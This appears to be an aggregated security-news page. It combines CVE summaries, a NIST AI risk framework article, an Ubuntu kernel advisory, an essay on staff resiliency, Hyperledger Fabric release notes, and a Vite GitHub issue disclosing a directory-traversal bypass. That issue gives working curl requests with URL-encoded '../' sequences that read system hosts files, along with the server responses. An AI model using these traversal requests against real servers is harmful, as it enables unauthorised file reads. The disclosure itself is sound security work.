The Auto-hyperlink URLs WordPress plugin through 5.4.1 does not set rel="noopener noreferer" on generated links, which can lead to Tab Nabbing by giving the target site access to the source tab through the window.opener DOM object.

CVE-2022-2600

The Better Search Replace WordPress plugin before 1.4.1 does not properly sanitise and escape table data before inserting it into a SQL query, which could allow high privilege users to perform SQL Injection attacks

CVE-2022-2593

The LinkWorth WordPress plugin before 3.3.4 does not implement nonce checks, which could allow attackers to make a logged in admin change settings via a CSRF attack.

CVE-2022-2172: Diff [2750802:2754739] for linkworth-wp-plugin – WordPress Plugin Repository

NIST is developing the AI Risk Management Framework and a companion playbook to help organizations navigate algorithmic bias and risk.

As organizations begin to adopt AI products, systems, and services into their environment, they are looking for guidance on mitigating algorithmic biases and other risks. The big fear of AI is that it may be used in ways the designers did not attend.  

This focus – being aware of human impact on technology – is part of the “socio-technical” effort by the National Institute of Standards and Technology to develop a framework to help organizations navigate bias in AI and incorporating trust in the systems. NIST is currently asking for public and private comments on the second draft of the Artificial Intelligence Risk Management Framework and on the companion NIST AI RMF Playbook. The AI RMF Playbook is intended to help organizations implement the framework, with suggested actions, references, and supplementary guidance.

The framework is split into to four functions: Govern, Map, Measure, and Manage. The playbook will offer guidance on the first two functions, Govern and Map. Recommendations for the latter two, Measure and Manage, will be available at a later date.

NIST says its socio-technical approach will “connect the technology to societal values,” and will develop guidance that considers ways humans can impact how technology is used. The framework also examines “the interplay between bias and cybersecurity and how they interact with each other,” NIST said when the first draft was introduced.

The NIST Artificial Intelligence Risk Management Framework has focused on three types of biases associated with AI: statistical, systemic, and human. Current recommendations include fostering a governance structure with clear individual roles and responsibilities, and a professional culture that supports transparent feedback on technologies and products. A systemic bias would be a business or operating process which contributes to a consistently skewed decision.

“From my experience, what I’ve seen is the reliance on AI too much,” says Chuck Everette, director of cybersecurity advocacy at Deep Instinct. ”I see it too often that organizations forget that threats are constantly evolving and changing, therefore you have to make sure your AI algorithms are properly tuned and your models are properly being adapted to the newest threats. Also, I’ve seen cases where bias data has been used and introduced, therefore leaving environments open to certain types of attack due to inaccurate data training.”

The comment period for both draft versions end Sept. 29. The final version of the AI RMF is expected in early 2023, and playbook will be after that.

NIST Weighs in on AI Risk

Ubuntu Security Notice 5572-1 - Roger Pau Monné discovered that the Xen virtual block driver in the Linux kernel did not properly initialize memory pages to be used for shared communication with the backend. A local attacker could use this to expose sensitive information. Roger Pau Monné discovered that the Xen paravirtualization frontend in the Linux kernel did not properly initialize memory pages to be used for shared communication with the backend. A local attacker could use this to expose sensitive information.

    ==========================================================================Ubuntu Security Notice USN-5572-1August 18, 2022linux-aws vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 16.04 ESMSummary:Several security issues were fixed in the Linux kernel.Software Description:- linux-aws: Linux kernel for Amazon Web Services (AWS) systemsDetails:Roger Pau Monné discovered that the Xen virtual block driver in the Linux kernel did not properly initialize memory pages to be used for shared communication with the backend. A local attacker could use this to expose sensitive information (guest kernel memory). (CVE-2022-26365)Roger Pau Monné discovered that the Xen paravirtualization frontend in the Linux kernel did not properly initialize memory pages to be used for shared communication with the backend. A local attacker could use this to expose sensitive information (guest kernel memory). (CVE-2022-33740)It was discovered that the Xen paravirtualization frontend in the Linuxkernel incorrectly shared unrelated data when communicating with certainbackends. A local attacker could use this to cause a denial of service(guest crash) or expose sensitive information (guest kernel memory).(CVE-2022-33741)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 16.04 ESM:   linux-image-4.4.0-1148-aws      4.4.0-1148.163   linux-image-aws                 4.4.0.1148.152After a standard system update you need to reboot your computer to makeall the necessary changes.ATTENTION: Due to an unavoidable ABI change the kernel updates havebeen given a new version number, which requires you to recompile andreinstall all third party kernel modules you might have installed.Unless you manually uninstalled the standard kernel metapackages(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,linux-powerpc), a standard system upgrade will automatically performthis as well.References:   https://ubuntu.com/security/notices/USN-5572-1   CVE-2022-26365, CVE-2022-33740, CVE-2022-33741

Ubuntu Security Notice USN-5572-1

To lessen burnout and prioritize staff resiliency, put people in a position to succeed with staffwide cybersecurity training to help ease the burden on IT and security personnel.

Cyberattacks are on the rise — but if we're being honest, that statement has been true for quite a while, given the acceleration of cyber incidents over the past several years. Recent research indicates that organizations experienced 50% more attack attempts per week on corporate networks in 2021 than they did in 2020, and tactics such as phishing are becoming increasingly popular as attackers refine their tried-and-true methods to more successfully entice unsuspecting targets.

It's no surprise, then, that cyber resiliency has been a hot topic in the cybersecurity world. But although cyber resiliency refers broadly to the ability of an organization to anticipate, withstand, and recover from cybersecurity incidents, many experts make the mistake of applying the term specifically to technology. And while it's true that detection and remediation tools, backup systems, and other resources play an important role in cyber resiliency, organizations that focus exclusively on technology risk are overlooking an equally important element: people.

**People Are Vulnerable, but They Don't Have to Be**

People are often thought of as the weak link in cybersecurity. It's easy to understand why. People fall for phishing scams. They use weak passwords and procrastinate on installing security updates. They misconfigure hardware and software, leave cloud assets unsecured, and send confidential files to the wrong recipient. There's a reason so much cybersecurity technology is moving toward automation: removing people from the equation is seen as one of the most obvious ways to improve security. To many security experts, that's just common sense.

Except — is it, really? It's true that people make mistakes — it's called "human error" for a reason, after all — but many of those mistakes come when employees aren't put in a position to succeed. Phishing is a great example. Most people are familiar with the concept of phishing, but many may not be aware of the nefarious techniques that today's attackers deploy. If employees have not been properly trained, they may not be aware that attackers often impersonate real people within the organization, or that the CEO asking them to buy gift cards "for a company happy hour" probably isn't legit. Organizations that want to build strong cyber-resiliency cannot pretend that people don't exist. Instead, they need to prioritize the resiliency of their people just as highly as the resiliency of their technology.

Training the organization to recognize the signs of common attack tactics, practice better password and cyber hygiene, and report signs of suspicious activity can help ease the burden on IT and security personnel by providing them better information in a more timely manner. It also avoids some of the pitfalls that create a drain on their time and resources. By ensuring that people at every level of the business are more resilient, today's organizations will discover that their overall cyber-resiliency will improve significantly.

**Building the Necessary Support Systems**

The COVID-19 pandemic — and the resulting acceleration of digital transformation, cloud adoption, and remote work — perfectly encapsulates the need to prioritize people. Security teams have been in a pressure cooker since the pandemic began, constantly being asked to do more, account for additional variables, set up new capabilities. And of course, there is always a new vulnerability that catches the eye of a CEO or other senior leader and suddenly becomes a priority. These teams are tired, and burnout is a real concern. They need support from their organizations.

Because, as valuable as modern cybersecurity tools are, people still make the most important decisions —which means prioritizing the resiliency of those people is critical. Tired, overworked employees who don't feel appropriately valued by their employers are more prone to mistakes or lapses in judgment. It is important to maintain open dialogue with IT and security personnel to understand their needs. Employees who find themselves working 12-hour days again and again aren't just prone to mistakes. They're likely to leave for a better opportunity — one that lets them maintain a healthy work-life balance. Organizations must be prepared to hire and train new employees to help carry some of the load for teams already being tasked with making significant adjustments in the face of ongoing challenges.

Learning to recognize signs of burn-out in your people, talking openly about burnout and how you are addressing it, and encouraging a culture of well-being will make for a more resilient team. After all resiliency is about recovery, in both people and technology.

**Never Overlook the Importance of People**

Too many organizations today view people as replaceable, but organizations that want to remain steadfast in the face of today's threat landscape should recognize the value of a happy, motivated, well-trained, and well-rested workforce. Cyber-resiliency isn't just about having the right technology in place to deal with modern attackers, but about empowering people to make the right decisions, and ensuring that they have the knowledge and support they need to make them. Overlook the importance of people at your own peril —even with automation on the rise, they remain the backbone of a successful business.

Cyber Resiliency Isn't Just About Technology, It's About People

Vitejs Vite before v2.9.13 was discovered to allow attackers to perform a directory traversal via a crafted URL to the victim's service.

**Describe the bug**

The vulnerability found at #2820 was found to be not fixed properly, which leads to the unrestricted directory traversal.

Currently the @fs directory does check for the allowed path, but it does not check for encoded paths.

For example, assuming that /@fs/home/test/ is the only allowed path, this can be bypassed by accessing /@fs/home/test/%2e%2e%2f%2e%2e%2f, which translates to /@fs/home/test/../../ internally.

Since this way of access through the browser may output an inconsistent result, curl --path-as-is can be used as an alternative way to reproduce such issue.

**Reproduction**

Any vite project is affected by this vulnerability.

npm init @vitejs/app app
cd app
npm install
npm run dev

**Reproduction in Windows**

Accessing C:/Windows/System32/drivers/etc/hosts is blocked since the allow list only contains C:/Users/stypr/Desktop/development/q/vite-project.

$ curl --path-as-is -v "http://localhost:3001/@fs/C:/Windows/System32/drivers/etc/hosts"
\*   Trying ::1:3001...
\*   Trying 127.0.0.1:3001...
\* Connected to localhost (127.0.0.1) port 3001 (#0)
\> GET /@fs/C:/Windows/System32/drivers/etc/hosts HTTP/1.1
\> Host: localhost:3001
\> User-Agent: curl/7.75.0
\> Accept: \*/\*
\>
\* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Access-Control-Allow-Origin: \*
< Date: Wed, 08 Jun 2022 04:00:32 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< Transfer-Encoding: chunked
<

    <body\>
      <h1>403 Restricted</h1>
      <p\>The request url "C:/Windows/System32/drivers/etc/hosts" is outside of Vite serving allow list.<br/><br/\>\- C:/Users/stypr/Desktop/development/q/vite-project<br/><br/\>Refer to docs https://vitejs.dev/config/#server-fs-allow for configurations and more details.</p>
      <style\>
        body {
          padding: 1em 2em;
        }
      </style\>
    </body\>
  \* Connection #0 to host localhost left intact
  \* 

What if we access like C:/Users/stypr/Desktop/development/q/vite-project/../../../../../../Windows/System32/drivers/etc/hosts? In typical cases, this doesn't work

However, if we replace the path ../ as %2e%2e%2f and replace every trailing slashes to %2f, the check is bypassed and the path traversal becomes successful.

$ curl --path-as-is -v "http://localhost:3001/@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts"
\*   Trying ::1:3001...
\*   Trying 127.0.0.1:3001...
\* Connected to localhost (127.0.0.1) port 3001 (#0)
\> GET /@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts HTTP/1.1
\> Host: localhost:3001
\> User-Agent: curl/7.75.0
\> Accept: \*/\*
\>
\* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: \*
< Content-Length: 824
< Content-Type:
< Last-Modified: Tue, 31 May 2022 03:15:34 GMT
< ETag: W/"824-1653966934106"
< Cache-Control: no-cache
< Date: Wed, 08 Jun 2022 03:53:26 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#       127.0.0.1       localhost
#       ::1             localhost
\*a Connection #0 to host localhost left intact

**Reproduction in Linux**

Linux is also pretty much the same, you can first get the whitelist path (/srv/q/app) by accessing a random path(/@fs/...), and then do a path traversal based on the given whitelist.

curl -v --path-as-is "http://192.168.125.129:3000/@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts"
\*   Trying 192.168.125.129:3000...
\* TCP\_NODELAY set
\* Connected to 192.168.125.129 (192.168.125.129) port 3000 (#0)
\> GET /@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts HTTP/1.1
\> Host: 192.168.125.129:3000
\> User-Agent: curl/7.68.0
\> Accept: \*/\*
\> 
\* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: \*
< Content-Length: 221
< Content-Type: 
< Last-Modified: Tue, 30 Jun 2020 09:41:51 GMT
< ETag: W/"221-1593510111311"
< Cache-Control: no-cache
< Date: Wed, 08 Jun 2022 04:09:49 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< 
127.0.0.1	localhost
127.0.1.1	ubuntu

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
\* Connection #0 to host 192.168.125.129 left intact

**System Info**

Windows

  System:
    OS: Windows 10 10.0.19044
    CPU: (16) x64 AMD Ryzen 7 3800X 8-Core Processor
    Memory: 33.13 GB / 63.93 GB
  Binaries:
    Node: 16.13.2 - C:\\Program Files\\nodejs\\node.EXE
    Yarn: 1.22.10 - ~\\AppData\\Roaming\\npm\\yarn.CMD
    npm: 8.1.2 - C:\\Program Files\\nodejs\\npm.CMD
  Browsers:
    Edge: Spartan (44.19041.1266.0), Chromium (102.0.1245.33)    
    Internet Explorer: 11.0.19041.1566
  npmPackages:
    @vitejs/plugin-vue: ^2.3.3 =\> 2.3.3
    vite: ^2.9.9 =\> 2.9.10

Linux

      System:
        OS: Linux 5.13 Ubuntu 20.04.3 LTS (Focal Fossa)
        CPU: (6) x64 AMD Ryzen 7 3800X 8-Core Processor
        Memory: 12.21 GB / 15.59 GB
        Container: Yes
        Shell: 5.0.17 - /bin/bash
      Binaries:
        Node: 14.18.3 - /usr/bin/node
        Yarn: 1.22.10 - /usr/bin/yarn
        npm: 6.14.15 - /usr/bin/npm
      Browsers:
        Chrome: 97.0.4692.99
        Firefox: 100.0.2
    

**Used Package Manager**

npm

**Validations**

*   Follow our Code of Conduct
*   Read the Contributing Guidelines.
*   Read the docs.
*   Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
*   Make sure this is a Vite issue and not a framework-specific issue. For example, if it's a Vue SFC related bug, it should likely be reported to https://github.com/vuejs/core instead.
*   Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
*   The provided reproduction is a minimal reproducible example of the bug.

CVE-2022-35204: Unrestricted directory traversal with `@fs` (Bypass) · Issue #8498 · vitejs/vite

Hyperledger Fabric is an enterprise-grade permissioned distributed ledger framework for developing solutions and applications. If a gateway client application sends a malformed request to a gateway peer it may crash the peer node. Version 2.4.6 checks for the malformed gateway request and returns an error to the gateway client. There are no known workarounds, users must upgrade to version 2.4.6.

**v2.4.6 Release Notes - August 8, 2022****Fixes**

**orderer - Fix active nodes metric**

Fix active nodes metrics for etcdraft ordering service when a node is evicted.

**peer - Handle malformed gateway request**

If a gateway client sends a malformed request to a peer it may crash the peer node.  
This fix checks for the malformed request and returns an error to the gateway client.

**Improvements**

**Make chaincode-as-a-service (ccaas) builder available in all release distributions**

The chaincode-as-a-service (ccaas) builder executables for build, detect, and release are now available in the Fabric release tar at builders/ccaas/bin.

**Dependencies**

Fabric v2.4.6 has been tested with the following dependencies:

*   Go 1.18.2
*   CouchDB v3.2.2

Fabric docker images on dockerhub utilize Alpine 3.16.

**Deprecations (existing)**

**Ordering service system channel is deprecated**

v2.3 introduced the ability to manage an ordering service without a system channel.  
Managing an ordering service without a system channel has privacy, scalability,  
and operational benefits. The use of a system channel is deprecated and may be removed in a future release.  
For information about removal of the system channel, see the Create a channel without system channel documentation.

**FAB-15754: The 'Solo' consensus type is deprecated.**

The 'Solo' consensus type has always been marked non-production and should be in  
use only in test environments, however for compatibility it is still available,  
but may be removed entirely in a future release.

**FAB-16408: The 'Kafka' consensus type is deprecated.**

The 'Raft' consensus type was introduced in v1.4.1 and has become the preferred  
production consensus type. There is a documented and tested migration path from  
Kafka to Raft, and existing users should migrate to the newer Raft consensus type.  
For compatibility with existing deployments, Kafka is still supported,  
but may be removed entirely in a future release.  
Additionally, the fabric-kafka and fabric-zookeeper docker images are no longer updated, maintained, or published.

**Fabric CouchDB image is deprecated**

v2.2.0 added support for CouchDB 3.1.0 as the recommended and tested version of CouchDB.  
If prior versions are utilized, a Warning will appear in peer log.  
Note that CouchDB 3.1.0 requires that an admin username and password be set,  
while this was optional in CouchDB v2.x. See the  
Fabric CouchDB documentation  
for configuration details.  
Also note that CouchDB 3.1.0 default max\_document\_size is reduced to 8MB. Set a higher value if needed in your environment.  
Finally, the fabric-couchdb docker image will not be updated to v3.1.0 and will no longer be updated, maintained, or published.  
Users can utilize the official CouchDB docker image maintained by the Apache CouchDB project instead.

**FAB-7559: Support for specifying orderer endpoints at the global level in channel configuration is deprecated.**

Utilize the new 'OrdererEndpoints' stanza within the channel configuration of an organization instead.  
Configuring orderer endpoints at the organization level accommodates  
scenarios where orderers are run by different organizations. Using  
this configuration ensures that only the TLS CA certificates of that organization  
are used for orderer communications, in contrast to the global channel level endpoints which  
would cause an aggregation of all orderer TLS CA certificates across  
all orderer organizations to be used for orderer communications.

**FAB-17428: Support for configtxgen flag --outputAnchorPeersUpdate is deprecated.**

The --outputAnchorPeersUpdate mechanism for updating anchor peers has always had  
limitations (for instance, it only works the first time anchor peers are updated).  
Instead, anchor peer updates should be performed through the normal config update flow.

**FAB-15406: The fabric-tools docker image is deprecated**

The fabric-tools docker image will not be published in future Fabric releases.  
Instead of using the fabric-tools docker image, users should utilize the  
published Fabric binaries. The Fabric binaries can be used to make client calls  
to Fabric runtime components, regardless of where the Fabric components are running.

**FAB-15317: Block dissemination via gossip is deprecated**

Block dissemination via gossip is deprecated and may be removed in a future release.  
Fabric peers can be configured to receive blocks directly from an ordering service  
node and not gossip blocks by using the following configuration:

    peer.gossip.orgLeader: true
    peer.gossip.useLeaderElection: false
    peer.gossip.state.enabled: false
    peer.deliveryclient.blockGossipEnabled: false
    

**FAB-15061: Legacy chaincode lifecycle is deprecated**

The legacy chaincode lifecycle from v1.x is deprecated and will be removed  
in a future release. To prepare for the eventual removal, utilize the v2.x  
chaincode lifecycle instead, by enabling V2\_0 application capability on all  
channels, and redeploying all chaincodes using the v2.x lifecycle. The new  
chaincode lifecycle provides a more flexible and robust governance model  
for chaincodes. For more details see the  
documentation for enabling the new lifecycle.

**Changes:**

*   8359607 Fix binary package creation
*   c9c60fd Release commit for v2.4.6.
*   468332c Prevent peer from failure on malformed proposal
*   7c12fa6 Extra checks for invalid args in gateway api
*   84e8b3b fix path for make dir CCAAS Builders
*   eb6b172 Add -buildvcs=false for ccaasbuilder (#3556) \[ #3315 \]
*   aa2aaa6 CCAAS Builders
*   0d584c4 Fixed active nodes metrics for etcdraft when a node is evicted. Instead of being frozen we set it to 0 once halt is called. Tests. (#3536)
*   7e2a6b9 Release commit for v2.4.5 (#3505)
*   0f18359 Check if inner consensus message is missing

**See More**

*   1473eca Release commit for v2.4.4 (#3487)
*   6f4282b Fix gossip unit test flake (#3215)
*   a914ec3 Bump Alpine to 3.16 (release-2.4) (#3472)
*   8ffd334 Locate correct block number for transaction ID in ChaincodeEvents (#3289)
*   f64eea2 Refactor of ChaincodeEvents service implementation to support resume (#3283)
*   02d63c3 Add -buildvcs=false for building binaries
*   60638b5 Improved gateway error for transient data failure \[ #3328 \]
*   a6947fa Use any peer to evaluate system chaincode transactions (#3447)
*   135c268 Improve response mismatch logging
*   29fea4f Log proposal response differences (backport #3420)
*   4c6ef91 Bump CouchDB to 3.2.2 (#3369)
*   c8f83e4 caas review comments
*   3c2c2f8 no mdash char supported
*   24e6f34 new caas page
*   6588ed2 Bump Go to 1.18.2 (#3423)
*   e5ad0ef Update chaincode language parameter name
*   ffbd37b Fix hyperlink
*   566a1a6 Fix warning log printing
*   ae316aa Properly handle concurrent building of chaincode packages
*   37cca19 Update cc\_service.md (#3355) (#3366)
*   1c97ab1 Node 16 and v1.4 libraries (#3357)
*   f6e8336 certs mgmt guide (#3307)
*   f614fb5 Additional TLS troubleshooting information (#3346)
*   1fb499a Handle empty policies when traversing the policy tree in discovery policy analysis (#3335)
*   0396bf9 Ignore channel double creation during replication. \[ #2931 \]
*   458345a Add in the CCAAS builders to the tgz package
*   9711fb5 Release commit for v2.4.3
*   47dd17a Ignore expired CA/TLS CA certs on msp init (#3238) (#3249) (#3252)
*   c89ba60 Gateway support for mutual TLS networks (#3235)
*   602f4c6 remove commercial paper references
*   80dbf8e Add Intermediate CA certs to dial options (#3225) (#3226)
*   fad7f69 Release commit for v2.4.2
*   0e9cdb2 Address windows platform in documentation \[ #2993 \]
*   63a7779 Bump Go to 1.17.5 (release-2.4) (#3182) \[ #3114 \]
*   e24c332 Refactor gateway Endorse() method
*   e7cb726 Close connections to stale ordering nodes
*   e1ed78f - Fix failure to generate all possible combinations (#3132)
*   af5d5df v2.4.1 release commit
*   ef5ac00 Update 'Running a Fabric Application' tutorial for Fabric Gateway
*   3580b4e Reduce CPU&memory cost of collecting endorsements
*   fbfdc1d Enable gateway concurrency limits
*   1f87709 Remove discovery.acl principal warning \[ #3006 \]
*   e0bb139 Adding a dedicated external builder
*   654a02b Fix channel config callback in gateway
*   abf5d30 Final peer for gateway (#3091) (#3095)
*   2d8d7f4 Randomize endorsement layouts
*   29d1e21 Network and Orderers for gateway
*   a95a8e7 latest PR review comments
*   41b6586 v2.4.0 release commit (#3078)
*   4f4e096 Update v2.4.0 release notes
*   f15b4ee Add command reference doc for ledgerutil
*   45707ac Add read version to the example in read-write set
*   b0de139 Add logging for identity, policy, and signature troubleshooting
*   1266978 Clarify v2.x upgrade docs (#3083)
*   6a7cdd0 Refine Gateway gRPC error status codes (#3075)
*   40fea67 goimports updates to prepare for Go 1.17 (#3070)
*   c14239c Add gateway ref to private data doc topic
*   a6a9fde EndorsementTimeout should apply to each endorser
*   bd1aaae Reference current application APIs in peer event service docs
*   91951d0 Log the transactionID in all log messages
*   2abb074 Remove redundant SDK documentation page
*   a1c13d8 Updates to endorser and gateway logging
*   34dcb8d Update protobuf definitions
*   5c2e358 Enhance gateway error logic
*   5014709 docs: fixing some typos
*   dee44d9 Don't use EndorseResponse.Result field (#3051)
*   c463b32 Fix CI script syntax
*   44faa13 Enable unaware threshold signature endorsement
*   8a4c7f3 Update Contract and Application API docs for Fabric Gateway (#3048)
*   91d7b7c Updates to Gateway doc topic (#3047)
*   6a415ee collection singular
*   e3abd66 use member of a collection
*   da935d7 Gateway overview edited
*   9c5e1df Clarify ProcessProposal error handling (#3044)
*   f089b24 Reword evaluate() error message
*   688d4d2 Add extra info to error message
*   6926cc1 no gateway via cli - tutorials (#3037)
*   cdc342e Add gateway architecture page to docs
*   534b1c1 Use correct timeout option (#3032)
*   d67d421 Show what do not match (#3012)
*   5113aa9 Better gRPC error on context error from CommitStatus service
*   62fb4c0 Update transaction flow doc for peer gateway
*   40f90c1 Fix typo in comment (#3016)
*   45f4dcb Add chaincode err message to Evaluate err message
*   42c99e0 Add documents for new options of calculatepackageid
*   b1c9d43 Add -O json option to calculatepackageid
*   ee18f9d Return package ID without any prefix by default for calculatepackageid
*   843ff14 Update Sphinx to v1.8.2
*   70ace58 Add integration tests for calculatepackageid command
*   abdb330 Add explanation of stringArray
*   89da86e Reword duplicate error message
*   d8ee1b4 Don’t close connection if already closing
*   31bc120 Retry logic for evaluate
*   7ebb704 Add documents for calculatepackageid command
*   3e433d4 Add calculatepackageid command
*   9ef778a Move to better IsAbs Implementation (#3000)
*   0f08904 Gateway endorsement retry logic
*   b4c2731 fix windows SyncDir issue
*   c90d50a Bump babel from 2.3.4 to 2.9.1 in /docs
*   0f904bb Adjusted from review comments
*   3914549 install-fabric.sh script - updated version of bootstrap.
*   3574d8b Check the package name on core/ledger/kvledger UT (#2987)
*   2ede756 Extra info in log message (#2982)
*   755ba79 set TestBlockPullerBadBlocks pullblock wait time (#2975)
*   b3cf25e Improve health checker docs
*   6897c80 Update developer environment (#2977)
*   21e4914 Rename EndpointError to ErrorDetail (#2974)
*   b52f776 Add clarifications to dev env versions in doc
*   7d51df1 docs: Use html\_style property instead of add\_stylesheet()
*   6656f72 Evaluate() error response for node chaincode
*   0625b10 Rename persistent\_msgs to persistance to avoid protobuf conflict
*   c8a6c43 Sort chaincode interests in tests (#2966)
*   7124587 Add unittest of writting multiple blocks for BlockWriter
*   d0b32ed Add unittest of writting config block synchronously for BlockWriter
*   295853b Write config blocks synchronously in Orderer
*   9636332 Refactor idemix implementation (#2955)
*   4b9ef57 Fix the project status to 'Graduated' instead of 'Active'
*   de9a64d docs: Add the path of softhsm2.conf for macOS
*   e66c951 Improve error messages when no endorsers found (#2963)
*   c62034e Add Information about AWS HSM
*   0d13aa6 Update links for Jira to GitHub issue transition in README
*   cf341ee Improve an error message in InstallChaincode
*   3a93662 Randomize selection of orderer nodes with retry (#2951)
*   210d20f Improve wording of log message
*   83cabf2 correct logger labels after cloning block puller.
*   f97177c Cache channel orderers in registry
*   f9027a4 docs: Don't apply the syntax highlighting of python
*   70ff46a Unit test flake when rpc server stream not closed (#2935)
*   0545ac8 Fixed Found Typos
*   aa8d06b Do not create new chain of type etcdraft.Chain if such exists in map of chains. This can happen when in Raft protocol a channel was created, but not marked as done in WAL logs, so at orderer startup it will try to rerun creation tx and panic because the channel already exists.
*   8999ce7 Apply the style only the key in readwrite.rst (#2933)
*   1243e99 Fix the result message in test\_network.md \[ #394 \]
*   8767ced Fix broken links for international workgroups (#2920)
*   85a67f8 Implement DisregardNamespacePolicy for gateway
*   3594a3b Update docs for Jira to GitHub issue transition
*   a395f3b updated chaincode4ade.rst("Writing your first chaincode") showing good practise on how to achieve determinism in json
*   b735309 Updates in main for v2.3.3
*   e55a388 Minor code clean-up in Gateway ChaincodeEvents handling (#2899)
*   beb8f5d Implement chaincode event replay for Fabric Gateway (#2896)
*   dd539d3 Refactor ChaincodeEvents to use ledger iterator (#2891)
*   b1d7538 Private Data Comparison \[ #2818 \]
*   cbe7d44 Nominate Andrew Coleman as Fabric maintainer
*   b563b08 Fixed a typo in private\_data\_tutorial
*   4875635 Update alpine base image to 3.14 (#2881)
*   7cb82ee Clean up Go modules (main) (#2878)
*   aa76c70 \[Document\] typo fix
*   6ec8d72 Stop spamming for wait channel acquirement in orderer integration test
*   f62e877 Clarify bootstrap.sh message when fabric-samples tag not found
*   868166d Gateway integration tests - adv. endorsement
*   9788c9b Early Differences Flag
*   394fb86 Prepare for next release v2.4.0
*   b0e0c4f fix typo
*   1fbdc18 Update Go to v1.16.7
*   38348fb \[FAB-11334\] - Adds a functional / integration test for peer unjoin channel
*   bc1898e Gateway Evaluate() with transient data
*   540fff8 FAB18529 added nil check in channel header parsing
*   36884f0 Add documentation for AbsoluteMaxBytes
*   98973a8 Options for GRPC message size configurable
*   b64d362 Update bootstrap.sh download script for Fabric CA v1.5.1
*   a330b66 Add release notes for v2.4.0-beta release
*   dac896a Add slash command for invalid issue
*   474badd Better error messages from Gateway
*   497a177 Fix FAB-18528: remove panic in ifConfig func (#2828)
*   c41ffff Fix small doc errors (#2816)
*   99d2e32 Output File Exists Error
*   ea48474 \[FAB-11334\] Adds a 'peer node unjoin' CLI entrypoint to unjoin a peer from a channel (#2769)
*   87ea070 Gateway enabled by default
*   5331bbc FAB-18067 Discovery support Implicit Collections (#2784)
*   240cf0e Merge and enhance coding guidelines across github and wiki
*   bb8bada \[FAB-11334\] Adds a function to purge a ledger's transient storage (#2769)
*   f662d98 FABGW-25 Endorse using generated ChaincodeInterest (#2773)
*   71037f3 Update CHANGELOG.md
*   95fb683 Hardening raft catchup IT
*   463271e FAB 18365 evictionsuspicion failing when osn failed (#2780)
*   fe71474 Additional documentation for implicit private data collections
*   fa3960b FABGW-25 Test for system chaincode (#2771) \[ #2767 \]
*   52b12dc Update private data docs - remove SDK reference (#2770)
*   26ec54a FABGW-25 Build ChaincodeInterest in TX simulator (#2767)
*   e5e623d \[FAB-18527\] Discovery supports DisregardNamespacePolicy hint from client (#2768)
*   9a922fd \[FAB-18527\] Discovery supports state based endorsement queries (#2764)
*   84c1270 \[FABGW-25\] Move chaincode interest to proposal response proto (#2763)
*   ffe7d36 \[FAB-18521\] Fixing flaky IT, send remove tx to another node (#2761) \[ #2748 \]
*   44ab2bf \[FAB-18521\] Replicate block metadata with block while OSN catching up (#2748)
*   2c69863 Update test network tutorial for new profile
*   e4b66f9 Update boostrap.sh for test network
*   cf263b0 \[FAB-11334\] Scrubs partially constructed/deleted ledgers at peer init (#2754)
*   62cd59c fixed peer documents
*   f7f77af fixed peer sample config
*   fda47c5 Renamed Ledger Binary To Ledgerutil (#2746)
*   9736485 \[FAB-11334\] Adds a new 'peer node unjoin' feature (#2732)
*   73c46a1 Updated enrollUser function in write\_first\_app Doc (#2713)
*   965664f Update docs to clarify that an implicit collection can not have an index
*   1249da2 \[FAB-18509\] Stop panic of collection index path is wrong (#2726)
*   9c3d459 \[FAB-18508\] ledger utility always outputs txNum (#2724)
*   4c4e58c File Location Flag (#2709)
*   b5e0d27 Added a possibility to override chaincode.externalBuilders via env variable (#2643)
*   1f1c303 fix typo
*   b034225 \[Doc-Update\] + What is a commercial paper section
*   1ee03b3 Add function to delete the ledger data for a channel (#2722)
*   7151302 Fixed grammatical errors
*   4e2f86e Fix a typo in CouchDB tutorial
*   3a75b65 Use protoc-gen-go 1.3.3 for generating protos \[ #2113 \]
*   8ce450e Fix typo
*   4422a19 Fix peerchaincode.md as well
*   4e67cbe Add explanation of --ctor JSON string
*   cdd5a04 Compare Snapshots Utility
*   d80cd2a Clarify Verify behaviour in PKCS11 Impl
*   d55dc8e fix typo (#2695)
*   8689771 Retire Will Lahti as maintainer (#2704)
*   16259ed Mandate TLS 1.2 or higher in fabhttp package
*   b5a4fe9 Address PR comments in Gateway integration tests
*   52c09b6 Clarify orderers seeing the transaction data
*   aa0b33f Retire Brett Logan as maintainer
*   00910ba Handle missing endpoints from discovery
*   dc09b6e Cherry pick deploy CC fixes to main branch
*   fd218eb Clarify "identity expired" error messages (#2685)
*   d9e850d Fix spelling mistakes in the Github Contributions page
